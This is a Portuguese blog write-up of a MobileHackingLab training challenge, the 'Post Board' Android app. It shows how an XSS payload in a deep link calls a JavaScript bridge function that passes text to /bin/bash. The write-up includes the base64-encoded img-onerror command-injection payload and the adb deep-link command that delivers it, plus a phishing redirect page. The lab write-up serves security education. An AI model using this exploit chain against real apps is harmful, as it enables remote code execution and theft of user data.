Post Board parte 2
“Cowsay: RCE is coming… “
Javascript Interface
Chegamos na Interface javascript que é a forma que o App utiliza para criar um canal de comunicação entre o código android e o javascript. Para saber o que está acontecendo nas interfaces, é necessário analisar a classe WebAppInterface.
No trecho acima, é possível notar duas funções da interface. Onde o postMarkdownMessage
recebe um valor mensagem que vem do decode do Base64.
Já o postCowsayMessage
recebe como parâmetro a exception da mensagem caso algo dê errado.
postMarkdownMessage
Dentro desta classe nos deparamos com a função que realiza a conversão de markdown para HTML.
Esta é somente uma parte do código, essa parte é bem extensa e não vale a pena mostrar todas as suas funcionalidades.
Eu não procurei por vulnerabilidades na validação do regex, mas vai que….
Logo abaixo nos deparamos com a outra função.
postCowsayMessage
Essa é a função mais importante para nossa análise uma vez que é através dela que vamos conseguir o RCE.
Análisando esse trecho do código, é possível notar que existe um utilitário chamado CowsayUtil
onde a função runCowsay
é invocada.
Uma vez que estamos utilizando o jadx-gui, é posseivel clicar duas vezes nessa função para que possamos achar sua definição.
Aqui é possível perceber que essa função executa um comando de sistema /bin/bash
concatenando a mensagem.
Ou seja se conseguirmos manipular a mensagem e fazer com que essa função seja invocada conseguimos um RCE.
Acredito que essa seja a informação mais relevante de todo este blog,
através do javascript, conseguimos interagir com as funções que estão declaradas dentro das interfaces.
Exploit
Primeiro, vamos abusar da primeira vulnerabilidade identificada para conseguir executar javascript na aplicação.
Uma vez que ao carregar a imagem que não existe o onerrror
entra em ação e executa o javascript chamando a função postCowsayMessage
,
passando uma mensagem, e três comandos padrões de sistemas baseados em unix.
Utilizei o seguinte payload:
echo "<img src=\"x\" \
onerror=\"WebAppInterface.postCowsayMessage('Moooo;whoami;pwd;date') \
\">"|base64
O resultado em base64 foi o seguinte: PGltZyBzcmM9IngiIG9uZXJyb3I9IldlYkFwcEludGVyZmFjZS5wb3N0Q293c2F5TWVzc2FnZSgnTW9vb287d2hvYW1pO3B3ZDtkYXRlJykgIj4K
O comando abaixo envia o meu payload através de deep link para aplicação que irá interpretar meu código malicioso.
adb shell am start -a android.intent.action.VIEW \
-n com.mobilehackinglab.postboard/.MainActivity -d \
"postboard://postmessage/PGltZyBzcmM9IngiIG9uZXJyb3I9IldlYkFwcEludGVyZmFjZS5wb3N0Q293c2F5TWVzc2FnZSgnTW9vb287d2hvYW1pO3B3ZDtkYXRlJykgIj4K"
Pronto agora temos execução remota de código através de uma falha na aplicação envolvendo webview, javascript sua interface.
Bonus
Como sempre as aplicações do MobileHackingLab parecem sempre ter algo escondido, aqui consegui
provar que é possível utilizar esta falha para executar um payload que redireciona a vítima para
o WebAppChromeClient
podendo então ser aplicado um golpe de phishing ou redirect para roubar
informações do usuário.
Se eu criar o seguinte payload: [Innocent Link](http://192.168.0.9/)
.
Esse comando será convertido em link na aplicação que irá redirecionar o usuário para minha página maliciosa.
Código HTML utilizado no meu servidor web.
<!DOCTYPE html>
<html>
<head>
<title>Malicious Site</title>
</head>
<body>
<h1>Welcome to My Evil Website</h1>
<a href="javascript:alert(1337)">I'm not a virus :)</a>
</p>
</body>
</html>
Abaixo é o resultado do exploit depois de ser executado.
Video
Posts:
- Post Board parte 2
- Post Board parte 1
- Guess Me Parte 2
- Guess Me Parte 1
- Food Store
- IOT Connect
- UnCrackable L1 Parte 2
- UnCrackable L1 Parte 1
- CVE-2022-26352
- DCA php
- Docker Code Analyzer
- Vulnado Parte 3
- Vulnado Parte 2
- Vulnado Parte 1
- Damm Vulnerable WebSocket
- OWASP ZAP Zed Attack Proxy
- Estratégias de um code review
- O que é code review?